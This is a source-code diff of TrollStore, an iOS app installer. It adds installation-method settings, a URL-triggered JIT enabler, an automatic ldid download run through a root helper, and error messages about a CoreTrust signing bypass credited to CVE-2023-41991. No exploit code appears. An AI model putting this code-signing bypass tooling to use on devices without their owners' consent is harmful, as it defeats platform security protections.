errorDescription = @"A non-TrollStore app with the same identifier is already installed. If you are absolutely sure it is not, you can force install it.";
|
||||
errorDescription = @"A non "APP_NAME@" or a "OTHER_APP_NAME@" app with the same identifier is already installed. If you are absolutely sure it is not, you can force install it.";
|
||||
break;
|
||||
case 172:
|
||||
errorDescription = @"The app does not contain an Info.plist file.";
|
||||
@ -52,8 +53,14 @@
|
||||
case 174:
|
||||
errorDescription = @"The app's main executable does not exist.";
|
||||
break;
|
||||
case 175:
|
||||
errorDescription = @"Failed to sign the app. ldid returned a non zero status code.";
|
||||
case 175: {
|
||||
//if (@available(iOS 16, *)) {
|
||||
// errorDescription = @"Failed to sign the app.";
|
||||
//}
|
||||
//else {
|
||||
errorDescription = @"Failed to sign the app. ldid returned a non zero status code.";
|
||||
//}
|
||||
}
|
||||
break;
|
||||
case 176:
|
||||
errorDescription = @"The app's Info.plist is missing required values.";
|
||||
@ -68,8 +75,22 @@
|
||||
errorDescription = @"The app you tried to install has the same identifier as a system app already installed on the device. The installation has been prevented to protect you from possible bootloops or other issues.";
|
||||
break;
|
||||
case 180:
|
||||
errorDescription = @"The LSApplicationWorkspace app installation failed.";
|
||||
errorDescription = @"The app you tried to install has an encrypted main binary, which cannot have the CoreTrust bypass applied to it. Please ensure you install decrypted apps.";
|
||||
break;
|
||||
case 181:
|
||||
errorDescription = @"Failed to add app to icon cache.";
|
||||
break;
|
||||
case 182:
|
||||
errorDescription = @"The app was installed successfully, but requires developer mode to be enabled to run. After rebooting, select \"Turn On\" to enable developer mode.";
|
||||
break;
|
||||
case 183:
|
||||
errorDescription = @"Failed to enable developer mode.";
|
||||
break;
|
||||
case 184:
|
||||
errorDescription = @"The app was installed successfully, but has additional binaries that are encrypted (e.g. extensions, plugins). The app itself should work, but you may experience broken functionality as a result.";
|
||||
break;
|
||||
case 185:
|
||||
errorDescription = @"Failed to sign the app. The CoreTrust bypass returned a non zero status code.";
|
||||
}
|
||||
|
||||
NSError* error = [NSError errorWithDomain:TrollStoreErrorDomain code:code userInfo:@{NSLocalizedDescriptionKey : errorDescription}];
|
||||
@ -78,15 +99,25 @@
|
||||
|
||||
- (int)installIpa:(NSString*)pathToIpa force:(BOOL)force log:(NSString**)logOut
|
||||
{
|
||||
int ret;
|
||||
NSMutableArray* args = [NSMutableArray new];
|
||||
[args addObject:@"install"];
|
||||
if(force)
|
||||
{
|
||||
ret = spawnRoot(rootHelperPath(), @[@"install", pathToIpa, @"force"], nil, logOut);
|
||||
[args addObject:@"force"];
|
||||
}
|
||||
NSNumber* installationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"installationMethod"];
|
||||
int installationMethodToUse = installationMethodToUseNum ? installationMethodToUseNum.intValue : 1;
|
||||
if(installationMethodToUse == 1)
|
||||
{
|
||||
[args addObject:@"custom"];
|
||||
}
|
||||
else
|
||||
{
|
||||
ret = spawnRoot(rootHelperPath(), @[@"install", pathToIpa], nil, logOut);
|
||||
[args addObject:@"installd"];
|
||||
}
|
||||
[args addObject:pathToIpa];
|
||||
|
||||
int ret = spawnRoot(rootHelperPath(), args, nil, logOut);
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil];
|
||||
return ret;
|
||||
}
|
||||
@ -99,7 +130,24 @@
|
||||
- (int)uninstallApp:(NSString*)appId
|
||||
{
|
||||
if(!appId) return -200;
|
||||
int ret = spawnRoot(rootHelperPath(), @[@"uninstall", appId], nil, nil);
|
||||
|
||||
NSMutableArray* args = [NSMutableArray new];
|
||||
[args addObject:@"uninstall"];
|
||||
|
||||
NSNumber* uninstallationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"uninstallationMethod"];
|
||||
int uninstallationMethodToUse = uninstallationMethodToUseNum ? uninstallationMethodToUseNum.intValue : 0;
|
||||
if(uninstallationMethodToUse == 1)
|
||||
{
|
||||
[args addObject:@"custom"];
|
||||
}
|
||||
else
|
||||
{
|
||||
[args addObject:@"installd"];
|
||||
}
|
||||
|
||||
[args addObject:appId];
|
||||
|
||||
int ret = spawnRoot(rootHelperPath(), args, nil, nil);
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil];
|
||||
return ret;
|
||||
}
|
||||
@ -107,7 +155,24 @@
|
||||
- (int)uninstallAppByPath:(NSString*)path
|
||||
{
|
||||
if(!path) return -200;
|
||||
int ret = spawnRoot(rootHelperPath(), @[@"uninstall-path", path], nil, nil);
|
||||
|
||||
NSMutableArray* args = [NSMutableArray new];
|
||||
[args addObject:@"uninstall-path"];
|
||||
|
||||
NSNumber* uninstallationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"uninstallationMethod"];
|
||||
int uninstallationMethodToUse = uninstallationMethodToUseNum ? uninstallationMethodToUseNum.intValue : 0;
|
||||
if(uninstallationMethodToUse == 1)
|
||||
{
|
||||
[args addObject:@"custom"];
|
||||
}
|
||||
else
|
||||
{
|
||||
[args addObject:@"installd"];
|
||||
}
|
||||
|
||||
[args addObject:path];
|
||||
|
||||
int ret = spawnRoot(rootHelperPath(), args, nil, nil);
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil];
|
||||
return ret;
|
||||
}
|
||||
@ -117,6 +182,11 @@
|
||||
return [[LSApplicationWorkspace defaultWorkspace] openApplicationWithBundleID:appId];
|
||||
}
|
||||
|
||||
- (int)enableJITForBundleID:(NSString *)appId
|
||||
{
|
||||
return spawnRoot(rootHelperPath(), @[@"enable-jit", appId], nil, nil);
|
||||
}
|
||||
|
||||
- (int)changeAppRegistration:(NSString*)appPath toState:(NSString*)newState
|
||||
{
|
||||
if(!appPath || !newState) return -200;
|
||||
|
5
TrollStore/TSDonateListController.h
Normal file
@ -0,0 +1,5 @@
|
||||
#import <Preferences/PSListController.h>
|
||||
|
||||
@interface TSDonateListController : PSListController
|
||||
|
||||
@end
|
61
TrollStore/TSDonateListController.m
Normal file
@ -0,0 +1,61 @@
|
||||
#import "TSDonateListController.h"
|
||||
#import <Preferences/PSSpecifier.h>
|
||||
|
||||
@implementation TSDonateListController
|
||||
|
||||
|
||||
- (void)donateToAlfiePressed
|
||||
{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://ko-fi.com/alfiecg_dev"] options:@{} completionHandler:^(BOOL success){}];
|
||||
}
|
||||
|
||||
- (void)donateToOpaPressed
|
||||
{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=opa334@protonmail.com&item_name=TrollStore"] options:@{} completionHandler:^(BOOL success){}];
|
||||
}
|
||||
|
||||
- (NSMutableArray*)specifiers
|
||||
{
|
||||
if(!_specifiers)
|
||||
{
|
||||
_specifiers = [NSMutableArray new];
|
||||
|
||||
PSSpecifier* alfieGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
alfieGroupSpecifier.name = @"Alfie";
|
||||
[alfieGroupSpecifier setProperty:@"Alfie found the new CoreTrust bug (CVE-2023-41991) via patchdiffing, produced a POC binary and worked on automatically applying it with the help of the ChOma library, while also contributing to said library." forKey:@"footerText"];
|
||||
[_specifiers addObject:alfieGroupSpecifier];
|
||||
|
||||
PSSpecifier* alfieDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to alfiecg_dev"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
alfieDonateSpecifier.identifier = @"donateToAlfie";
|
||||
[alfieDonateSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
alfieDonateSpecifier.buttonAction = @selector(donateToAlfiePressed);
|
||||
[_specifiers addObject:alfieDonateSpecifier];
|
||||
|
||||
PSSpecifier* opaGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
opaGroupSpecifier.name = @"Opa";
|
||||
[opaGroupSpecifier setProperty:@"Opa developed the ChOma library, helped with automating the bug using it and integrated it into TrollStore." forKey:@"footerText"];
|
||||
[_specifiers addObject:opaGroupSpecifier];
|
||||
|
||||
PSSpecifier* opaDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to opa334"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
opaDonateSpecifier.identifier = @"donateToOpa";
|
||||
[opaDonateSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
opaDonateSpecifier.buttonAction = @selector(donateToOpaPressed);
|
||||
[_specifiers addObject:opaDonateSpecifier];
|
||||
}
|
||||
[(UINavigationItem *)self.navigationItem setTitle:@"Donate"];
|
||||
return _specifiers;
|
||||
}
|
||||
|
||||
@end
|
@ -9,4 +9,6 @@
|
||||
|
||||
+ (void)handleAppInstallFromRemoteURL:(NSURL*)remoteURL completion:(void (^)(BOOL, NSError*))completion;
|
||||
|
||||
+ (void)installLdid;
|
||||
|
||||
@end
|
@ -17,8 +17,8 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^
|
||||
{
|
||||
// Install IPA
|
||||
//NSString* log;
|
||||
int ret = [[TSApplicationsManager sharedInstance] installIpa:pathToIPA force:force log:nil];
|
||||
NSString* log;
|
||||
int ret = [[TSApplicationsManager sharedInstance] installIpa:pathToIPA force:force log:&log];
|
||||
|
||||
NSError* error;
|
||||
if(ret != 0)
|
||||
@ -32,42 +32,68 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:^
|
||||
{
|
||||
if(ret != 0)
|
||||
{
|
||||
if (ret == 0) {
|
||||
// success
|
||||
if(completionBlock) completionBlock(YES, nil);
|
||||
} else if (ret == 171) {
|
||||
// recoverable error
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Install Error %d", ret] message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
if(ret == 171)
|
||||
{
|
||||
if(completionBlock) completionBlock(NO, error);
|
||||
}
|
||||
if(completionBlock) completionBlock(NO, error);
|
||||
}];
|
||||
[errorAlert addAction:closeAction];
|
||||
|
||||
if(ret == 171)
|
||||
UIAlertAction* forceInstallAction = [UIAlertAction actionWithTitle:@"Force Installation" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
UIAlertAction* forceInstallAction = [UIAlertAction actionWithTitle:@"Force Installation" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
[self handleAppInstallFromFile:pathToIPA forceInstall:YES completion:completionBlock];
|
||||
}];
|
||||
[errorAlert addAction:forceInstallAction];
|
||||
}
|
||||
else
|
||||
{
|
||||
/*UIAlertAction* copyLogAction = [UIAlertAction actionWithTitle:@"Copy Log" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
UIPasteboard* pasteboard = [UIPasteboard generalPasteboard];
|
||||
pasteboard.string = log;
|
||||
}];
|
||||
[errorAlert addAction:copyLogAction];*/
|
||||
}
|
||||
[self handleAppInstallFromFile:pathToIPA forceInstall:YES completion:completionBlock];
|
||||
}];
|
||||
[errorAlert addAction:forceInstallAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}
|
||||
} else if (ret == 182) {
|
||||
// non-fatal informative message
|
||||
UIAlertController* rebootNotification = [UIAlertController alertControllerWithTitle:@"Reboot Required" message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action)
|
||||
{
|
||||
if(completionBlock) completionBlock(YES, nil);
|
||||
}];
|
||||
[rebootNotification addAction:closeAction];
|
||||
|
||||
if(ret != 171)
|
||||
{
|
||||
if(completionBlock) completionBlock((BOOL)error, error);
|
||||
UIAlertAction* rebootAction = [UIAlertAction actionWithTitle:@"Reboot Now" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
if(completionBlock) completionBlock(YES, nil);
|
||||
spawnRoot(rootHelperPath(), @[@"reboot"], nil, nil);
|
||||
}];
|
||||
[rebootNotification addAction:rebootAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:rebootNotification animated:YES completion:nil];
|
||||
} else if (ret == 184) {
|
||||
// warning
|
||||
UIAlertController* warningAlert = [UIAlertController alertControllerWithTitle:@"Warning" message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action)
|
||||
{
|
||||
if(completionBlock) completionBlock(YES, nil);
|
||||
}];
|
||||
[warningAlert addAction:closeAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:warningAlert animated:YES completion:nil];
|
||||
} else {
|
||||
// unrecoverable error
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Install Error %d", ret] message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
|
||||
UIAlertAction* copyLogAction = [UIAlertAction actionWithTitle:@"Copy Debug Log" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
UIPasteboard* pasteboard = [UIPasteboard generalPasteboard];
|
||||
pasteboard.string = log;
|
||||
}];
|
||||
[errorAlert addAction:copyLogAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
|
||||
if(completionBlock) completionBlock(NO, error);
|
||||
}
|
||||
}];
|
||||
});
|
||||
@ -187,6 +213,48 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
});
|
||||
}
|
||||
|
||||
//+ (void)showInstallAppAlertForFile:(NSString*)pathToIPA
|
||||
+ (void)installLdid
|
||||
{
|
||||
fetchLatestLdidVersion(^(NSString* latestVersion)
|
||||
{
|
||||
if(!latestVersion) return;
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
NSURL* ldidURL = [NSURL URLWithString:@"https://github.com/opa334/ldid/releases/latest/download/ldid"];
|
||||
NSURLRequest* ldidRequest = [NSURLRequest requestWithURL:ldidURL];
|
||||
|
||||
[TSPresentationDelegate startActivity:@"Installing ldid"];
|
||||
|
||||
NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:ldidRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error)
|
||||
{
|
||||
if(error)
|
||||
{
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading ldid: %@", error] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:^
|
||||
{
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}];
|
||||
});
|
||||
}
|
||||
else if(location)
|
||||
{
|
||||
spawnRoot(rootHelperPath(), @[@"install-ldid", location.path, latestVersion], nil, nil);
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:nil];
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"TrollStoreReloadSettingsNotification" object:nil userInfo:nil];
|
||||
});
|
||||
}
|
||||
}];
|
||||
|
||||
[downloadTask resume];
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@end
|
@ -1,6 +1,7 @@
|
||||
#import "TSSceneDelegate.h"
|
||||
#import "TSRootViewController.h"
|
||||
#import "TSUtil.h"
|
||||
#import "TSApplicationsManager.h"
|
||||
#import "TSInstallationController.h"
|
||||
#import <TSPresentationDelegate.h>
|
||||
|
||||
@ -67,11 +68,82 @@
|
||||
[TSInstallationController handleAppInstallFromRemoteURL:URLToInstall completion:nil];
|
||||
}
|
||||
}
|
||||
else if([components.host isEqualToString:@"enable-jit"])
|
||||
{
|
||||
NSString* BundleIDToEnableJIT;
|
||||
|
||||
for(NSURLQueryItem* queryItem in components.queryItems)
|
||||
{
|
||||
if([queryItem.name isEqualToString:@"bundle-id"])
|
||||
{
|
||||
BundleIDToEnableJIT = queryItem.value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(BundleIDToEnableJIT && [BundleIDToEnableJIT isKindOfClass:NSString.class])
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[self handleEnableJITForBundleID:BundleIDToEnableJIT];
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
- (void)handleEnableJITForBundleID:(NSString *)appId
|
||||
{
|
||||
TSApplicationsManager* appsManager = [TSApplicationsManager sharedInstance];
|
||||
|
||||
BOOL didOpen = [appsManager openApplicationWithBundleID:appId];
|
||||
|
||||
// if we failed to open the app, show an alert
|
||||
if(!didOpen)
|
||||
{
|
||||
NSString* failMessage = @"";
|
||||
// we don't have TSAppInfo here so we cannot check the registration state
|
||||
|
||||
NSString* failTitle = [NSString stringWithFormat:@"Failed to open %@", appId];
|
||||
UIAlertController* didFailController = [UIAlertController alertControllerWithTitle:failTitle message:failMessage preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil];
|
||||
|
||||
[didFailController addAction:cancelAction];
|
||||
[TSPresentationDelegate presentViewController:didFailController animated:YES completion:nil];
|
||||
}
|
||||
else
|
||||
{
|
||||
int ret = [appsManager enableJITForBundleID:appId];
|
||||
if (ret != 0)
|
||||
{
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error enabling JIT: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// We want to auto install ldid if either it doesn't exist
|
||||
// or if it's the one from an old TrollStore version that's no longer supported
|
||||
- (void)handleLdidCheck
|
||||
{
|
||||
#ifndef TROLLSTORE_LITE
|
||||
//if (@available(iOS 16, *)) {} else {
|
||||
NSString* tsAppPath = [NSBundle mainBundle].bundlePath;
|
||||
|
||||
NSString* ldidPath = [tsAppPath stringByAppendingPathComponent:@"ldid"];
|
||||
NSString* ldidVersionPath = [tsAppPath stringByAppendingPathComponent:@"ldid.version"];
|
||||
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath] || ![[NSFileManager defaultManager] fileExistsAtPath:ldidVersionPath])
|
||||
{
|
||||
[TSInstallationController installLdid];
|
||||
}
|
||||
//}
|
||||
#endif
|
||||
}
|
||||
|
||||
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {
|
||||
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
|
||||
@ -88,6 +160,10 @@
|
||||
{
|
||||
[self handleURLContexts:connectionOptions.URLContexts scene:(UIWindowScene*)scene];
|
||||
}
|
||||
else
|
||||
{
|
||||
[self handleLdidCheck];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
5
TrollStore/TSSettingsAdvancedListController.h
Normal file
@ -0,0 +1,5 @@
|
||||
#import <Preferences/PSListController.h>
|
||||
|
||||
@interface TSSettingsAdvancedListController : PSListController
|
||||
|
||||
@end
|
104
TrollStore/TSSettingsAdvancedListController.m
Normal file
@ -0,0 +1,104 @@
|
||||
#import "TSSettingsAdvancedListController.h"
|
||||
#import "TSUtil.h"
|
||||
#import <Preferences/PSSpecifier.h>
|
||||
|
||||
extern NSUserDefaults* trollStoreUserDefaults();
|
||||
@interface PSSpecifier ()
|
||||
@property (nonatomic,retain) NSArray* values;
|
||||
@end
|
||||
|
||||
@implementation TSSettingsAdvancedListController
|
||||
|
||||
- (NSMutableArray*)specifiers
|
||||
{
|
||||
if(!_specifiers)
|
||||
{
|
||||
_specifiers = [NSMutableArray new];
|
||||
|
||||
PSSpecifier* installationMethodGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
//installationMethodGroupSpecifier.name = @"Installation";
|
||||
[installationMethodGroupSpecifier setProperty:@"installd:\nInstalls applications by doing a placeholder installation through installd, fixing the permissions and then adding it to icon cache.\nAdvantage: Might be slightly more persistent than the custom method in terms of icon cache reloads.\nDisadvantage: Causes some small issues with certain applications for seemingly no reason (E.g. Watusi cannot save preferences when being installed using this method).\n\nCustom (Recommended):\nInstalls applications by manually creating a bundle using MobileContainerManager, copying the app into it and adding it to icon cache.\nAdvantage: No known issues (As opposed to the Watusi issue outlined in the installd method).\nDisadvantage: Might be slightly less persistent then the installd method in terms of icon cache reloads.\n\nNOTE: In cases where installd is selected but the placeholder installation fails, TrollStore automatically falls back to using the Custom method." forKey:@"footerText"];
|
||||
[_specifiers addObject:installationMethodGroupSpecifier];
|
||||
|
||||
PSSpecifier* installationMethodSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSStaticTextCell
|
||||
edit:nil];
|
||||
[installationMethodSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
installationMethodSpecifier.identifier = @"installationMethodLabel";
|
||||
[_specifiers addObject:installationMethodSpecifier];
|
||||
|
||||
PSSpecifier* installationMethodSegmentSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method Segment"
|
||||
target:self
|
||||
set:@selector(setPreferenceValue:specifier:)
|
||||
get:@selector(readPreferenceValue:)
|
||||
detail:nil
|
||||
cell:PSSegmentCell
|
||||
edit:nil];
|
||||
[installationMethodSegmentSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
installationMethodSegmentSpecifier.identifier = @"installationMethodSegment";
|
||||
[installationMethodSegmentSpecifier setProperty:APP_ID forKey:@"defaults"];
|
||||
[installationMethodSegmentSpecifier setProperty:@"installationMethod" forKey:@"key"];
|
||||
installationMethodSegmentSpecifier.values = @[@0, @1];
|
||||
installationMethodSegmentSpecifier.titleDictionary = @{@0 : @"installd", @1 : @"Custom"};
|
||||
[installationMethodSegmentSpecifier setProperty:@1 forKey:@"default"];
|
||||
[_specifiers addObject:installationMethodSegmentSpecifier];
|
||||
|
||||
PSSpecifier* uninstallationMethodGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
//uninstallationMethodGroupSpecifier.name = @"Uninstallation";
|
||||
[uninstallationMethodGroupSpecifier setProperty:@"installd (Recommended):\nUninstalls applications using the same API that SpringBoard uses when uninstalling them from the home screen.\n\nCustom:\nUninstalls applications by removing them from icon cache and then deleting their application and data bundles directly.\n\nNOTE: In cases where installd is selected but the stock uninstallation fails, TrollStore automatically falls back to using the Custom method." forKey:@"footerText"];
|
||||
[_specifiers addObject:uninstallationMethodGroupSpecifier];
|
||||
|
||||
PSSpecifier* uninstallationMethodSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstallation Method"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSStaticTextCell
|
||||
edit:nil];
|
||||
[uninstallationMethodSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
uninstallationMethodSpecifier.identifier = @"uninstallationMethodLabel";
|
||||
[_specifiers addObject:uninstallationMethodSpecifier];
|
||||
|
||||
PSSpecifier* uninstallationMethodSegmentSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method Segment"
|
||||
target:self
|
||||
set:@selector(setPreferenceValue:specifier:)
|
||||
get:@selector(readPreferenceValue:)
|
||||
detail:nil
|
||||
cell:PSSegmentCell
|
||||
edit:nil];
|
||||
[uninstallationMethodSegmentSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
uninstallationMethodSegmentSpecifier.identifier = @"uninstallationMethodSegment";
|
||||
[uninstallationMethodSegmentSpecifier setProperty:APP_ID forKey:@"defaults"];
|
||||
[uninstallationMethodSegmentSpecifier setProperty:@"uninstallationMethod" forKey:@"key"];
|
||||
uninstallationMethodSegmentSpecifier.values = @[@0, @1];
|
||||
uninstallationMethodSegmentSpecifier.titleDictionary = @{@0 : @"installd", @1 : @"Custom"};
|
||||
[uninstallationMethodSegmentSpecifier setProperty:@0 forKey:@"default"];
|
||||
[_specifiers addObject:uninstallationMethodSegmentSpecifier];
|
||||
}
|
||||
|
||||
[(UINavigationItem *)self.navigationItem setTitle:@"Advanced"];
|
||||
return _specifiers;
|
||||
}
|
||||
|
||||
- (void)setPreferenceValue:(NSObject*)value specifier:(PSSpecifier*)specifier
|
||||
{
|
||||
NSUserDefaults* tsDefaults = trollStoreUserDefaults();
|
||||
[tsDefaults setObject:value forKey:[specifier propertyForKey:@"key"]];
|
||||
}
|
||||
|
||||
- (NSObject*)readPreferenceValue:(PSSpecifier*)specifier
|
||||
{
|
||||
NSUserDefaults* tsDefaults = trollStoreUserDefaults();
|
||||
NSObject* toReturn = [tsDefaults objectForKey:[specifier propertyForKey:@"key"]];
|
||||
if(!toReturn)
|
||||
{
|
||||
toReturn = [specifier propertyForKey:@"default"];
|
||||
}
|
||||
return toReturn;
|
||||
}
|
||||
|
||||
@end
|
@ -4,5 +4,7 @@
|
||||
{
|
||||
PSSpecifier* _installPersistenceHelperSpecifier;
|
||||
NSString* _newerVersion;
|
||||
NSString* _newerLdidVersion;
|
||||
BOOL _devModeEnabled;
|
||||
}
|
||||
@end
|
@ -3,6 +3,9 @@
|
||||
#import <Preferences/PSSpecifier.h>
|
||||
#import <Preferences/PSListItemsController.h>
|
||||
#import <TSPresentationDelegate.h>
|
||||
#import "TSInstallationController.h"
|
||||
#import "TSSettingsAdvancedListController.h"
|
||||
#import "TSDonateListController.h"
|
||||
|
||||
@interface NSUserDefaults (Private)
|
||||
- (instancetype)_initWithSuiteName:(NSString *)suiteName container:(NSURL *)container;
|
||||
@ -15,7 +18,9 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
{
|
||||
[super viewDidLoad];
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadSpecifiers) name:UIApplicationWillEnterForegroundNotification object:nil];
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadSpecifiers) name:@"TrollStoreReloadSettingsNotification" object:nil];
|
||||
|
||||
#ifndef TROLLSTORE_LITE
|
||||
fetchLatestTrollStoreVersion(^(NSString* latestVersion)
|
||||
{
|
||||
NSString* currentVersion = [self getTrollStoreVersion];
|
||||
@ -29,6 +34,39 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//if (@available(iOS 16, *)) {} else {
|
||||
fetchLatestLdidVersion(^(NSString* latestVersion)
|
||||
{
|
||||
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
|
||||
NSString* ldidVersion = nil;
|
||||
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
|
||||
if(ldidVersionData)
|
||||
{
|
||||
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
|
||||
}
|
||||
|
||||
if(![latestVersion isEqualToString:ldidVersion])
|
||||
{
|
||||
_newerLdidVersion = latestVersion;
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[self reloadSpecifiers];
|
||||
});
|
||||
}
|
||||
});
|
||||
//}
|
||||
|
||||
if (@available(iOS 16, *))
|
||||
{
|
||||
_devModeEnabled = spawnRoot(rootHelperPath(), @[@"check-dev-mode"], nil, nil) == 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
_devModeEnabled = YES;
|
||||
}
|
||||
#endif
|
||||
[self reloadSpecifiers];
|
||||
}
|
||||
|
||||
- (NSMutableArray*)specifiers
|
||||
@ -37,6 +75,7 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
{
|
||||
_specifiers = [NSMutableArray new];
|
||||
|
||||
#ifndef TROLLSTORE_LITE
|
||||
if(_newerVersion)
|
||||
{
|
||||
PSSpecifier* updateTrollStoreGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
@ -56,9 +95,42 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
[_specifiers addObject:updateTrollStoreSpecifier];
|
||||
}
|
||||
|
||||
if(!_devModeEnabled)
|
||||
{
|
||||
PSSpecifier* enableDevModeGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
enableDevModeGroupSpecifier.name = @"Developer Mode";
|
||||
[enableDevModeGroupSpecifier setProperty:@"Some apps require developer mode enabled to launch. This requires a reboot to take effect." forKey:@"footerText"];
|
||||
[_specifiers addObject:enableDevModeGroupSpecifier];
|
